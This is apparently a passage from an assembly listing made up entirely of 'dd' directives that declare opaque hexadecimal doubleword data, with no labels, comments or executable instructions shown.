dd 8C82433Dh, 0C9180DBFh, 382308D3h, 0E6645168h, 0D4669C40h
dd 1505CA9Dh, 0C33934E2h, 20ADDC22h, 0D6C8B726h, 920088FAh
dd 69283D15h, 59D37177h, 71B83073h, 9000B977h, 0D62EB812h
dd 42D85E06h, 0A23D7CADh, 373F7D82h, 77C5848Ch, 44A493D5h
dd 70D9483Eh, 6E920880h, 1A0F6420h, 8C221590h, 79BC29E6h
dd 0C40351C3h, 49E0B9CDh, 9B38C7ADh, 58EEC377h, 288C05C1h
dd 9004C10h, 60024C82h, 64C1DD70h, 839A58ABh, 5900308Ah
dd 5A4E78Ch, 0C1942E40h, 0A9EE9B38h, 77782C03h, 80784877h
dd 4C8848C0h, 1FEF816Fh, 8AAD2290h, 4718E1ABh, 63F0F011h
dd 3930D0CDh, 0CA4E98Fh, 0C7DA0E97h, 6C203DFFh, 35F686C9h
dd 3842EB1Fh, 0AADBE4C1h, 0C3031C6h, 3A4713Ch, 11D4AEE9h
dd 8CB3C507h, 0B65C801h, 0E090EEF0h, 5914B88Ch, 1A0A52F1h
dd 9C16877Eh, 4402E711h, 0C1EEA555h, 700050E4h, 78C2CAD9h
dd 10E88B6Fh, 610115Eh, 556CDF5Ah, 7777729h, 0F9ED3A13h
dd 0B11A51A7h, 0B8A2108Fh, 0DBFC00CEh, 6978ED66h, 0A600D16Eh
dd 13A44A92h, 677E815h, 8F7CDDD9h, 0D2041038h, 0CF80894Ch
dd 100600AFh, 91709061h, 0BE685E03h, 0C0921AD2h, 121C73FCh
dd 40E9D874h, 0D0337FACh, 1500B266h, 0EB77EAFh, 0DD38A0h
dd 6440656Bh, 8350F8EDh, 5D2A8C00h, 0D8F6F56Ah, 22A098FEh
dd 0DA001FCAh, 952C4F18h, 30D00919h, 0B9D102FAh, 57653789h
dd 3C01D928h, 130FA93h, 383DEE8h, 0CA6AE245h, 6DA13A50h
dd 9E31BF36h, 2701C39Fh, 0F2C069B6h, 929A8F4h, 11B87A37h
dd 0FBD1A810h, 820DB30Ch, 0EC0F1053h, 1A9A00F6h, 0AAC31C40h
dd 0CF4E302h, 212DC200h, 57A6017Fh, 189902ECh, 0DBE8291Fh
dd 6E4414C0h, 0EEE61D0Eh, 15AB814Eh, 8C601F19h, 0F5907CDh
dd 624464A9h, 50E38C3Ch, 57B4411Ch, 2A45D080h, 7652781Ah
dd 207D015Bh, 40E41953h, 494881AFh, 225A81E2h, 0ECF84161h
dd 84E6F2Ch, 99494898h, 79005AE6h, 6046AEA6h, 98ADF325h
dd 0E92D3955h, 522E0280h, 3A19030Fh, 1400DD98h, 0C8B58D5Ch
dd 28335ADFh, 0A4C7D77h, 8E19A449h, 5AB74040h, 17463808h
dd 0B3217030h, 0A0005A61h, 7E7C0E0Dh, 203D32h, 0F1073FA8h
dd 0E1F44903h, 0B5DFAF0Ch, 5C8F10EFh, 7160251Fh, 2CE77902h
dd 2E8E0E09h, 5E19847Dh, 9720D5C1h, 8D2BB880h, 0BDC24423h
dd 16A43F0Fh, 739D4486h, 0B2AA871Dh, 6FECD04Ah, 2F0FCCABh
dd 2063B605h, 0C1D03A80h, 4D2C39FBh, 0DB198180h, 3D668EC0h
dd 8C305500h, 0FDDF4AA0h, 18DDEA16h, 10927886h, 0B100B4F7h
dd 3E068AF2h, 3C04EC75h, 0F100FE5Ah, 1AC0D8BDh, 0FA1ED9EEh
dd 0D600BB0Bh, 0C69737EDh, 0FF1E076Eh, 4021C975h, 0D88A405Ah
dd 843B39h, 65C01BDFh, 74746A7h, 0EC596AEBh, 1AF6C07Bh
dd 4507B7BBh, 4EDEE058h, 0EF42BD90h, 0C060DD7Fh, 40BC8DBAh
dd 1D07F019h, 1FBEDFFEh, 8B9143h, 0BC97CC20h, 3C075D85h
dd 6CDAAF00h, 4113C7F9h, 69E2C12h, 0AB08004Ah, 0E6FFDE0h
dd 0E3F25E00h, 88A8A5BBh, 0B3323806h, 0D431880h, 5C372B59h
dd 16838E00h, 799C6DE6h, 13CA3C5Dh, 8FDECC9Fh, 6880B888h
dd 96C42B89h, 0F3008FE0h, 0DDA3D691h, 7C8BE70Dh, 0C8C3004Fh
dd 4578604Ah, 0FB006630h, 0CB7A489Fh, 6850DFh, 2FD943AEh
dd 10F061D0h, 80C6F803h, 0E88AEBB0h, 4026F3h, 4C7F5CCAh
dd 0C2969C8Ch, 3857B800h, 377EB910h, 0FBE13FDEh, 881DA500h
dd 0C19D5BAh, 743DE2EEh, 0F7300F2h, 5EA6376Ah, 76AC0001h
dd 0FA85362Fh, 0CB00AF95h, 788B2D88h, 7AE0DFh, 82ECFE4Ah
dd 75BC12BAh, 0B8553Fh, 0F7345401h, 7B406DA2h, 174100FBh
dd 0C95F5AC5h, 5D005BF1h, 0C2CEFFDBh, 1635E25h, 0E4EE8FDFh
dd 0E4A3CC06h, 500107Bh, 54175841h, 7B0B1F62h, 0C7277C16h
dd 0B0716D10h, 8386A46Eh, 0D54CDE19h, 31807008h, 2C687967h
dd 7E00906Bh, 22E48029h, 0CF0A126Dh, 78895B20h, 1C8A7F01h
dd 0B5877029h, 9C3AD4F8h, 80CD3150h, 5B10137Eh, 6E0C7051h
dd 20BC8404h, 0A270143h, 0BF77AE81h, 0E50ECC7Ch, 0AD310360h
dd 8E7A71h, 1AD6874Dh
dd 0DC6CC70Bh, 0D0B65501h, 68088109h, 0F5213883h, 990006D3h
dd 57E9B0CDh, 38DA9B2h, 0E190022Bh, 0E0C8011Dh, 0D601CD61h
dd 0E66452E5h, 9FF0C0E4h, 0D4B301A5h, 4E875DE7h, 42498013h
dd 7E37D06Bh, 0A32801F3h, 0E31EBD43h, 165CF063h, 0F93093ECh
dd 0CD20F82Dh, 23D7203Dh, 2A825401h, 8C09E54Bh, 55D4B4FDh
dd 60BAE8B3h, 0B181E06Dh, 4A013D4Bh, 0D060F056h, 79800E07h
dd 0BA74AF94h, 3F7982D1h, 79E6F500h, 3555D74Bh, 17750058h
dd 9438670h, 0E8A8386Dh, 0E41FB4C9h, 2CC2450Eh, 0C018D634h
dd 5FA9D5h, 15610349h, 8B261154h, 2A511C15h, 0B20075D8h
dd 4A41C290h, 8001101Eh, 9224810Dh, 94002464h, 0D907E33Ch
dd 0D7970FB5h, 9C3E972h, 2003BAECh, 5DB13817h, 2038AD7Ah
dd 446F8h, 1ED57CD6h, 1425B1Ch, 74900D61h, 4D074EE1h, 8357E8E4h
dd 0E0C5A928h, 0CC30E484h, 58D72043h, 0DB472E53h, 0C04A1C14h
dd 5C360B3Bh, 0BE3CC111h, 0A4731EFAh, 74C02640h, 483FC41Eh
dd 242982CDh, 4BB000D4h, 0B35C0A5Bh, 0D3BD4486h, 5B4A590Fh
dd 0F1E3A0FFh, 0C503CE1h, 9C87E0Fh, 796F06A8h, 0DA0420B1h
dd 0FC0E2B44h, 4DF52469h, 0FF790050h, 0E89492E1h, 70A037EEh
dd 0D149F522h, 52EB875Ch, 1DFDA8E0h, 0D0008501h, 0FEE552EFh
dd 112F03E8h, 0D4BAB837h, 0B848AFBAh, 0AE04F561h, 0A7FC0876h
dd 0D68F1587h, 23507D14h, 4BB30086h, 0B6A409FCh, 21146786h
dd 0AA4A20E4h, 8185127h, 0E519653Ah, 0B11700A0h, 3C95B2E2h
dd 8901C1B8h, 0A24F48B5h, 9CE47CFFh, 5AC0238h, 3F525516h
dd 52F298A4h, 0C0444408h, 0A4787D5Fh, 7122D646h, 67C70D00h
dd 30D92E19h, 44331E38h, 4139D804h, 0A0A81C05h, 0F10076DDh
dd 421FD9DFh, 33C8529h, 0B5F314A0h, 317BD36Ah, 80B69C00h
dd 0D022196Fh, 0FE560068h, 0D8C3AB79h, 29C0255Dh, 0FCFA329h
dd 0A8EFC21h, 177FB6CEh, 74A84884h, 176DAE10h, 7976480h
dd 7049E165h, 57FE8074h, 4395A929h, 0E2C5223Ah, 6B5300A6h
dd 690A2814h, 7C9974B6h, 0C6719829h, 9EE49718h, 42156B71h
dd 80D8775Eh, 4F5861DEh, 2892BDh, 72E64BB4h, 1CB30438h
dd 8CC8F78h, 72E921BCh, 945895C2h, 577A0A00h, 4798097h
dd 0F0A409h, 6E6B5FD4h, 557A76AFh, 80918A07h, 0FAB2A6C3h
dd 1118C1A1h, 0E01F15h, 5DDF43C9h, 0B028BEB8h, 64A17035h
dd 934ED087h, 201037Eh, 0A4BBD309h, 0C0823DF5h, 50FA1B3Bh
dd 0E4370060h, 0BA9FFC01h, 47B236DAh, 183B0420h, 0EC114A94h
dd 0C900C415h, 4DAA51A9h, 8F4F50h, 10B921C2h, 0EE94B8C1h
dd 1607C300h, 0A3A9C841h, 22E300B7h, 0A2400942h, 0A5006179h
dd 31FA5E8Bh, 262B4BBAh, 0F4B8A79Dh, 40CEE21h, 3FF51970h
dd 6B082042h, 6C65D905h, 7B5B1488h, 0C979AFh, 0F1405DE1h
dd 98FBAC9Dh, 6A530912h, 6844CC30h, 6EA4104Bh, 2E2DD95h
dd 20748C42h, 217EF87Eh, 0ABA1460Eh, 53641004h, 1BD40072h
dd 441CEDAAh, 9700E1D2h, 0BA11491Ah, 30E70AFh, 32592CD7h
dd 7AC1CB34h, 2194F4A0h, 88483E48h, 0E677C06Ch, 23218E7Eh
dd 11891A1h, 0A6E64F0Dh, 0E42240B9h, 5D94D40Ch, 391F0F21h
dd 0DF01B218h, 8AF08FA4h, 346BD444h, 0B37C401h, 8443DB3Ch
dd 0A5E15F50h, 751B5A00h, 36243D56h, 46003C4Ch, 87540B1Dh
dd 286891FCh, 3DF80420h, 96B8089Ch, 590A6118h, 0E890BAB2h
dd 0D10128A8h, 0DF487923h, 0D44B0B21h, 3010E884h, 2A023Fh
dd 0DB159B3Ch, 0A817E6EFh, 284896FAh, 0F197044Ch, 2CC9B16Ah
dd 3DB05026h, 0C1240C0h, 5444CA81h, 94C04842h, 60D5931Fh
dd 901B683Ch, 0EA0004A1h, 0DF146115h, 2854BD46h, 0CEDDAEh
dd 4AE59DDBh, 0BBA0D66h, 6424D200h, 567D116Bh, 2DE400B9h
dd 469071DCh, 6E734BE5h, 130CA00h, 7956371Ch, 99F000DDh
dd 0C7E72E7Dh, 9800E1F7h, 6DCD5E5Ch, 3A26EB5h, 584E33A4h
dd 0E1E86AF3h, 800271Eh, 833F869Bh, 3A0C1710h, 0D9180D1Ah
dd 403E202Ah, 2F936A00h, 9CFDCBA9h, 0E501046Eh, 0C0AA0442h
dd 14509FA8h, 99ACC700h, 9A3E8498h, 4DCC03E9h, 40377D3Dh
dd 0B1C97800h, 0D8C71B5Ch, 7FAC032Fh, 0ADA988B8h, 0CEFDBAA8h
dd 86CCA200h, 20D7AFD2h, 0F88F6BFh, 635B0B64h, 7320F2EAh
dd 0CFCA899h, 51310FE3h, 50806C6Fh, 11B98D90h, 0E14DC71Fh
dd 0E8958C7h, 0D9F01C17h, 8ECDD8h, 7055DDB9h, 0AEF45BE8h
dd 0DB00D770h, 7A6588B6h, 816426D8h, 0F3D1D1D3h, 41078978h
dd 190BF985h, 65A51F0h, 30AE74CBh, 1B201DF7h, 0D203F9CEh
dd 0DA774274h, 0FC490C86h, 1E90C64Ch, 0E2CE7A1Dh, 9D6E1830h
dd 99762A84h, 8AFC0CA0h, 65282EEEh, 0B3FDD105h, 6782D08Eh
dd 0A090AD78h, 215020A0h, 8680BBEEh, 5F1906F9h, 1D2086AFh
dd 0CFE8011Fh, 3CBA7EF9h, 7008207Dh, 0AB40781Bh, 0D0BEC051h
dd 9D89006Fh, 0E5AF7A1Ch, 1E8783Bh, 0E14E7B0Ch, 7F2B20D4h
dd 0D180F1D7h, 0DE7EE36Dh, 60063FAh, 0CD2F3C2Ch, 3FD5697h
dd 88B9AB6Eh, 0D900E5C3h, 0FB9E0FC7h, 18F9DCF4h, 0C85C9B89h
dd 7E86B73Ch, 1908088Ch, 0A366AE2Fh, 0D4461FA9h, 0AB67C0F9h
dd 0DA5153E4h, 89D87515h, 690118B8h, 7DB5Ch, 0E591A3AEh
dd 0C94BC04Eh, 0D584DF28h, 0F33BC705h, 4C00D644h, 0E75F896Dh
dd 0B03E03D9h, 0B76ED0CEh, 9DF349A1h, 5FCEEF20h, 0A8AB4A7Eh
dd 0F800E19Eh, 0B65618B5h, 0D0C8CE2Bh, 0E258C0B0h, 52CF1994h
dd 72C3C8ACh, 3EEAE0C0h, 0F4888097h, 0E154601Dh, 0D700A20Fh
dd 30B89590h, 9040D874h, 0F12E0041h, 0D96017Dh, 7B00323Eh
dd 0B745428Dh, 2AF33CF8h, 27CC2C8h, 0DA435E0Dh, 4C19AADEh
dd 5FB57310h, 947AFB01h, 0BB8CF785h, 93E93F4h, 4EA168AEh
dd 61412424h, 3401902Fh, 92CC0C4Bh, 27DB0084h, 42326F90h
dd 96000B5Ch, 1B9EA4ABh, 489AD899h, 5D2A7411h, 0F9610088h
dd 0DCA72DB1h, 60A53D46h, 9604664h, 280007ADh, 0CF6CD823h
dd 16214EAh, 4F158240h, 0A850DEC1h, 0CB520C51h, 5F880130h
dd 0B749AA86h, 10884B0Ch, 0AE5E0012h, 0AADD8131h, 0C21815E4h
dd 2D415D0Ch, 86440014h, 9E56322h, 160056F8h, 0E40ED294h
dd 1C3692AAh, 93300732h, 11D8080Ch, 26B83C2h, 62190EEBh
dd 0B872180h, 9F26A99Bh, 0CE2C5E09h, 7E248259h, 0E4370043h
dd 0CCA81618h, 449ACDF3h, 13D88300h, 0CE6C8B2h, 4E140A8Ch
dd 8F3CFCB6h, 3F829B0Ah, 0C4191093h, 424C4180h, 1BFEF36Ah
dd 0BE92D504h, 509051B6h, 1F712ADDh, 0C1D39948h, 0F8BF96F3h
dd 19A7CC6Eh, 8D201713h, 10AF8832h, 70039B10h, 0A68A9A36h
dd 0C8205051h, 0F97D04ADh, 8072278Eh, 0E415EB10h, 1DF1D111h
dd 2520C10Ch, 10913B49h, 4A184B79h, 3E320507h, 6A20DB29h
dd 0A1BCF9h, 0BEDD0DCBh, 862BB5B9h, 37880CB1h, 0F98360B7h
dd 0D74C1985h, 0A1E258h, 0F5C07C55h, 0C46EE104h, 388F8B50h
dd 3D00E3DDh, 9E66ADD2h, 0ED291570h, 929A8F5h, 2A9678E4h
dd 0D9D70086h, 1CB94961h, 83009A93h, 2C887D8Fh, 2EBAF13h
dd 2EE44A17h, 0F8447A86h, 80AC1B21h, 9C0F903Dh, 0E18679C4h
dd 0C3C91C64h, 224A0B20h, 0CEF373E8h, 0D8A7507Ch, 18E2C5C2h
dd 130349A4h, 1A257F23h, 0E0890110h, 0B489560Bh, 0C08057C3h
dd 0E53AB0C6h, 7B593E06h, 0E192FD6h, 0B8B6F9A7h, 69F39083h
dd 6CDB3100h, 0F0A37808h, 1DEC0028h, 0E5C4F752h, 5607F933h
dd 0C38969CAh
dd 0D20B246Ah, 7B081004h, 351C00DFh, 2D563498h, 80B0A894h
dd 2F8DA90Ch, 0E6F85Eh, 0DDC69A6Ah, 0EB565421h, 0DA674100h
dd 544A3D3h, 63723914h, 0F8DDA100h, 0D24DFD2Bh, 4B9CA600h
dd 7F36A52Ah, 1E7D0045h, 77E291D1h, 0C400CA51h, 0F40AA60h
dd 0E6495Eh, 4618B813h, 2D64764Fh, 1DFBD400h, 8492EBBEh
dd 0F121058Ah, 0FCDF64Dh, 74C07C81h, 581038DBh, 0F3188200h
dd 0A93FAA99h, 67270002h, 5068A525h, 4A00A021h, 4DFA2EBEh
dd 7D62A3Ch, 419737DCh, 7EF1431Dh, 18A39BA8h, 848B0A00h
dd 7B45D36h, 3EB3043Ch, 0C0B882A5h, 0E934F1E3h, 5E00C976h
dd 54430431h, 0ADD889h, 25865A72h, 0DA64E617h, 81211902h
dd 603E4755h, 3D3A66h, 0A9AE456Ah, 0E113F828h, 5300E7E8h
dd 0ECB0C95h, 1EE5F526h, 8085BDFDh, 23E66C25h, 5003CA47h
dd 0CCB2AE36h, 5CC001CFh, 847EA17Ch, 0EC4083D1h, 0E8FEDA7Ah
dd 28524DC5h, 30C0F9EDh, 0E9805661h, 0D10198EBh, 0C1CDF599h
dd 0F8C49110h, 45D20079h, 2B5C9293h, 0B871126Ch, 6BF13Bh
dd 0DC4F816Eh, 14B2EA20h, 80457BC3h, 0E2121F00h, 0D17D090h
dd 285ABD07h, 4C8194B1h, 0A7ECB970h, 19CE0329h, 48B72566h
dd 7F37A4A8h, 98D140C0h, 0CFA05Fh, 0F028E2EBh, 2AB78FDFh
dd 12002090h, 42A364F7h, 9D4F1Dh, 8EB8494Bh, 8C2213F4h
dd 693E27F2h, 706F0AEDh, 57086095h, 6BF0605Dh, 0C9466E53h
dd 1E006D22h, 7E39E215h, 3CCBDC8h, 0EF5ED37Fh, 40003C49h
dd 63F72918h, 0E432B11h, 194DC96Bh, 0A32FD220h, 0B7745062h
dd 8AECFC00h, 55215EAh, 0C1B1675Dh, 4CE00F18h, 10B2763Ch
dd 8A5C2507h, 800CADA9h, 775F0B1h, 21A304C0h, 1B82507Bh
dd 983D9976h, 497D800Ah, 6C3020BFh, 0D98B00F6h, 0A3EA5BF1h
dd 0E0033DFh, 29E84A2Bh, 0D5E352h, 42536DD6h, 9C957A7Ch
dd 84CBAF00h, 97082AE9h, 5C40C01Ah, 37E5D4B4h, 39651800h
dd 8A27DEE3h, 9F1C0033h, 0E17B92C1h, 0A101AE13h, 6023303Eh
dd 48CCB9A4h, 12A57324h, 8B0E4B5Fh, 1D4EC4DCh, 3AA1B130h
dd 0B9BC4704h, 0E0D0D8FCh, 7BA927h, 9510AEE6h, 500D9E28h
dd 9B47AD02h, 51C222CDh, 18467974h, 98267BBDh, 0BBC900B1h
dd 66B62201h, 7E5D7875h, 6FD280F4h, 428C9DBBh, 2ADEC077h
dd 0B88490h, 95E033DAh, 0C891A0BEh, 4B595C01h, 3E8DE722h
dd 22C4884Bh, 3ADC301Fh, 0BF8D2844h, 0A4FC051Ch, 4752BA20h
dd 0B0C2FD9Ch, 374608B0h, 245AFA00h, 9CD0FB91h, 0C4890064h
dd 0CE73387Eh, 0D702A0F1h, 12849D90h, 1C8588Ch, 0F4FE0DC2h
dd 609B1C7Fh, 10039A10h, 0B8964B0Ch, 189BE6h, 81919E68h
dd 0E8144ED8h, 0F6B75400h, 488C5CEDh, 0DB070040h, 4D597252h
dd 0A902C714h, 6729CDF7h, 23209694h, 9021FC68h, 861D50D0h
dd 218F242Ch, 0B64FA900h, 0B9E306Eh, 8BA57454h, 0FBA064A0h
dd 0B45D4E01h, 6B948018h, 42232171h, 2EB2CF0Fh, 60F8A09Bh
dd 0ACB063h, 0EB734E56h, 0EAA4B402h, 0B651E8E5h, 0A02F2B4Eh
dd 62005023h, 9230565Ch, 0E4650E54h, 0C013DA51h, 68E3BD00h
dd 0CCF76602h, 707407D8h, 0B19707DCh, 0C7F0AD82h, 5404E16Ah
dd 6CACF0BAh, 99F058B9h, 0CA008677h, 0D2B61A7Bh, 14D611h
dd 0D0C082D1h, 6B413199h, 486CCC1Ah, 34A82868h, 7B01215Eh
dd 9F62CF80h, 4EB5055Dh, 10883AEFh, 0ABC01DC9h, 61422A0Bh
dd 83AF009h, 92807DEh, 28B34B34h, 0E99B0479h, 32101B3Fh
dd 0E2612075h, 0A1003E68h, 0DF6AB72Ah, 373CFFAh, 3A8C4E02h
dd 5807D928h, 1A438DE6h, 86339870h, 0ACD700FCh, 0F8A477Ah
dd 0DE1E091Bh, 8FE8A20Ch, 6A57F700h, 3BB8D118h, 40650FEBh
dd 0C6809B3Ah, 0B5792990h, 789CB000h, 0A680B4F4h, 3541D1Ch
dd 7EED8EABh, 7FF9C4C0h, 9400E00Fh, 78C6E2FBh, 0B56F025Fh
dd 0C400CC50h, 7BB064B7h, 3BEC9DCh, 0F5964A23h, 81049F7h
dd 0BCBF48C6h, 0EDF81F1Dh, 810E00C4h, 1EEF7F2Bh, 961F6C00h
dd 61C0E584h, 1457C1Bh, 0B077C120h, 9C376A10h, 22A2E829h
dd 0C422E33Ch, 2F8622C7h, 3B3E6422h, 0A8C0CC3Fh, 0FB8078FCh
dd 0C07E4093h, 63CF3D44h, 44CC515Eh, 14EF2921h, 657E503Ch
dd 230513Bh, 1E08A514h, 3C04B805h, 94440955h, 1637467Eh
dd 0CC743E29h, 817A2940h, 28417881h, 6C173301h, 1900C629h
dd 0E344BFABh, 0EE81E9h, 0FC51B87Eh, 261C2385h, 272CC900h
dd 42503017h, 9EF70F6Ch, 0A20E7DCEh, 6BD87020h, 0C000F1E5h
dd 27901465h, 194BA63h, 29496728h, 0CC7FCD2Eh, 0CB00A1F8h
dd 8871BFADh, 1E860C58h, 0C00F2FBDh, 1AFC1170h, 0AE003A3Bh
dd 0C4FE3803h, 75C8F8D7h, 4EE9003Eh, 77B79D30h, 4872AFEFh
dd 8C53AE00h, 0D066E56Fh, 9DC8003Ch, 0F818C27Fh, 0EC0032D5h
dd 0DFD1A71Dh, 0F00F9A04h, 0E1480151h, 3D399389h, 0F2F4F4DDh
dd 85577D0Fh, 6A246026h, 489EEF65h, 96002451h, 0FCCE043Fh
dd 0B40E355Fh, 0A673BFD8h, 3F509216h, 0DF9F656Fh, 5D50DC14h
dd 0C0815D7Ch, 82C72D53h, 0EB00361Eh, 1327FC0Eh, 4C78A1EFh
dd 3D149847h, 0F9808C2Fh, 6A5B28F2h, 0E42C1100h, 0AEAD449Dh
dd 3A4C00D8h, 7581B5Ah, 8011256h, 0EFC98F3Dh, 76F8DD75h
dd 0B76503B6h, 0A2626085h, 21CD31C0h, 55408C00h, 86D8B18h
dd 0EB1068Eh, 3682348Fh, 0D332DA00h, 6086EB99h, 24CE2E2Fh
dd 102118E5h, 0E203789Dh, 8DD3A402h, 0DA85805Eh, 0D2220076h
dd 71FB656Ch, 0B6000792h, 1144FAB3h, 40CEC5h, 0D3E2AD6h
dd 66C3E26Fh, 0BF2CAC75h, 7200770Eh, 5141FCF6h, 52FF0358h
dd 0B27EA53Ch, 0B17D8080h, 71345300h, 6D9C4266h, 9F100ECh
dd 203975B9h, 0B8036283h, 90653E61h, 538FC1CEh, 0E9CBC0h
dd 5A26F4D6h, 27C38B68h, 80CE9D3Ah, 35E0911h, 0FA203380h
dd 77490715h, 401AC98Eh, 0EEABF4B1h, 64B8781Ch, 7148CAC0h
dd 4046AEh, 8FDEAF67h, 5D98E782h, 6B7AD100h, 0BB880DAAh
dd 7620057h, 0DF102D2Eh, 500070E5h, 9B462BCCh, 196A374h
dd 941B3EC0h, 0B942E49Fh, 0F94880D8h, 0CC865DC1h, 0F4B300A3h
dd 33DCEE40h, 5807E5A2h, 60B66197h, 7CA9BBA0h, 825900FCh
dd 0CE5B8586h, 0BA7A09C2h, 9C1BB702h, 403A21F8h, 0D7EB0Fh
dd 0BE9538Ah, 0BF7ECEC2h, 50F2D100h, 0CAC91767h, 9F1F0733h
dd 10B78115h, 0D3664DCCh, 0C2E6AB8h, 48000835h, 0E1C9C29h
dd 0D2DE0050h, 0F16DCD2Dh, 2A05C31Bh, 97198473h, 0ADA4E500h
dd 134F89Fh, 14321011h, 0C4DBF9B1h, 20001678h, 0DF29F636h
dd 1CC96087h, 0D50938h, 0E8DD3F9Dh, 6E3E319Bh, 0EE3804Ah
dd 8E34A3B8h, 11BC09C0h, 44034798h, 3802968h, 9100CB77h
dd 46F4C48Ch, 12F3C1CAh, 0F9ADF7h, 15D33F0Ch, 0F800C6B9h
dd 63448CC5h, 0FEFBF287h, 0C7B6007Eh, 28433E7Dh, 5035B0Ah
dd 6E85E28Ah, 0AC20B70Ch, 1019FF4h, 35118922h, 0D0EFB46Ch
dd 1F0095FEh, 0CA5ECD76h, 0C37EC7h, 0B6EDF3E0h, 0C24A6D9h
dd 0F4C91300h, 3B403018h, 0E55D00DDh, 5EE2A4Fh, 0B53A7506h
dd 4E44802Dh, 0DD99C658h, 3CE30747h, 0B074A35Ah, 61E4BBA0h
dd 0FF7FB528h, 0AC0055FAh, 0CE4AA256h, 642733h, 0F935E141h
dd 38984B13h, 82CF680Eh, 0ADD2E09Ch, 3F1306Bh, 0E4916A50h
dd 9FA8B3ABh, 0C7263A44h, 0E021816Fh, 932B2001h, 0FAF0AAFFh
dd 464900BCh, 20145F7h, 770091C1h, 61FEF1F6h, 1B33309h
dd 0B9A19625h, 0F4DA5366h
dd 0B73E481h, 43A86400h, 11CAF240h, 345800D8h, 98B4BA08h
dd 22E42ACDh, 120DC30Ch, 6D6043h, 16508A1Ah, 2C8901EFh
dd 887F1000h, 0E7F220A6h, 9C7004Dh, 0EFEA9EBDh, 0F300E489h
dd 0E8F0E534h, 0CDC0CCh, 339F3FFBh, 0CB92791Dh, 44B07500h
dd 0D151619Dh, 0B9BD3C8Fh, 0D2944180h, 0B6E6CE31h, 0B223EC02h
dd 60735166h, 1FC5920Eh, 7089D99h, 0F039197Dh, 24786590h
dd 3C77A000h, 2F2E631h, 6C933720h, 53E570C2h, 0F700A281h
dd 587A5536h, 7E8FAA78h, 659A0E94h, 1E32A87Ch, 0D2AFC0B0h
dd 52784DA5h, 0A26C4900h, 4CC8C41Ch, 0D0D70BF2h, 4003191h
dd 6B3BD598h, 291A0700h, 0E511DFB5h, 6AA40039h, 58EC9485h
dd 64B0B723h, 0B3C4EA05h, 5C80D7CBh, 1E5C11A8h, 0C17B19E3h
dd 5A691271h, 6080D104h, 5008487h, 194CDAEFh, 5F9E90h
dd 0C3608D33h, 82FEA28Fh, 8697D600h, 9A033EB0h, 58E8032Dh
dd 456CEC9Bh, 0ED2C7AA0h, 0ABEEBC07h, 8DD05A5Bh, 7F859Eh
dd 509A4411h, 539F12DBh, 0C83DAE00h, 4169CD74h, 8CC3000Dh
dd 970E94D9h, 34034BF2h, 28E8EEDAh, 0E471D082h, 81D90037h
dd 17FEA0B4h, 0CD019905h, 0BCF0EA58h, 0C2F80D42h, 54B50055h
dd 0D4DA2998h, 0B9792BE4h, 0B6CFB800h, 921ADB48h, 74C0B0E8h
dd 995E0029h, 9CB0BDDFh, 6D022472h, 0AC08432Bh, 56A64067h
dd 5DE0037h, 0F7D8847Ah, 0C2007B1Dh, 6EF8D00Dh, 2C41BEDh
dd 0B1FBFD87h, 0EE40DCA9h, 54022650h, 4AB3B414h, 6B14E0F4h
dd 0C7733C75h, 5684B50Ah, 471D00CCh, 407BF196h, 69757800h
dd 0C89D97E1h, 53E8034Fh, 424BAF19h, 745E4600h, 0E092FA9Ch
dd 55D638A5h, 0B0D4D914h, 1E8EC009h, 43197080h, 5E007023h
dd 52B99062h, 0CAFF14h, 634679E7h, 0FB6EAF4Ah, 5B5C0C00h
dd 0D76C0228h, 7CAC5850h, 0E61B6F0Eh, 431E81AEh, 0FEFF4E92h
dd 0E27138C8h, 0CD6B1400h, 3BA93E44h, 479700D3h, 0EC168E06h
dd 0AD0E7565h, 0C06B398Ch, 4AC083A3h, 0FDD00B43h, 58057D3h
dd 0A814A25Ch, 0E00A3Bh, 4D8AFAE6h, 2E22257Fh, 3461BDh
dd 0C39C0D11h, 0C0006A96h, 0A3DB5EF9h, 983B5E8h, 152AF4BBh
dd 0FB41548Eh, 803DD5C9h, 458E9AB8h, 0B6A5D22h, 0E840BE16h
dd 738D300h, 0F416CAD3h, 8480445Fh, 1488AB60h, 0F89F040Ah
dd 292B6700h, 765EA821h, 9E556100h, 8DE88C97h, 129200C0h
dd 694981DBh, 4BF69926h, 0C8F02300h, 651CF180h, 50C40037h
dd 0E32E1808h, 4600B113h, 6A07EA56h, 3CD4EB5h, 0DC25D3A8h
dd 42F9D12Ch, 415B718Bh, 0C1356940h, 70F4CC5Ah, 67B32A00h
dd 4A8CEC60h, 2F27036Ch, 18F7170Ah, 31C83AA0h, 63ED0603h
dd 0C8907802h, 0D6AFA5h, 0B7A3C105h, 0E19EE870h, 4113E680h
dd 3E420D5h, 7842840Eh, 0A6AC40FEh, 0E6498Dh, 7FF29B8Eh
dd 2E2977B8h, 6F59B403h, 0F0A0316Ch, 31F66ACEh, 4D6A45C6h
dd 0CC9ED83Fh, 11729201h, 5561D16h, 1F0F29D8h, 80E58419h
dd 0C15E101Ch, 9600EC0Dh, 0B005DACFh, 1FEA8E6h, 9470DB3Ah
dd 0F14DF522h, 3FE44024h, 1E00B6BAh, 0ED86E75Fh, 982F6C97h
dd 0E37570h, 77F311B7h, 0AEE00659h, 7C2CFC5Ch, 2109C100h
dd 0D8416879h, 51F600A3h, 0EB061E70h, 6000881Fh, 2F9C7572h
dd 17336AF9h, 0BC6901h, 681C7498h, 0E40050CAh, 3DF844F1h
dd 3D6649DFh, 6E81D8ECh, 64F68583h, 7017D1EFh, 110096E0h
dd 606F7982h, 8C3F8Dh, 0D964F832h, 7BDC750Fh, 0F402687Fh
dd 89AF6673h, 0CB908057h, 0F6A443E9h, 36531FFCh, 63C744B9h
dd 7F9EC03Ch, 810040A2h, 0D548E9CDh, 7E8F1FAh, 1B356C8Ah
dd 8C3ED01Dh, 0B1000633h, 11D39A8Eh, 8F1653h, 0DF1AE03h
dd 4C85C2BAh, 3C835807h, 1EAB88h, 0A88206CCh, 90AA001Dh
dd 0E681F942h, 5FE83302h, 59FC6D00h, 9671BDC5h, 58ABF2FBh
dd 7B269Ah, 10F2D0F9h, 257C8C20h, 193EFA0Fh, 5EB0C351h
dd 56ABB81Bh, 9CA400BCh, 6255C5F1h, 0F000BFBBh, 0BD77CBCDh
dd 1998653h, 61951373h, 31393214h, 40C0CE79h, 5C28ED48h
dd 0D7009FB1h, 0C2CFCC4Bh, 26FC7D5Fh, 0D74657h, 8AA5607Ch
dd 10037795h, 0C5ACCDFBh, 34D48D9Fh, 9C1BEC02h, 8C46C0BDh
dd 0B0B40009h, 4EB2C653h, 231E90E3h, 5F8070ABh, 0D0A79E7Ah
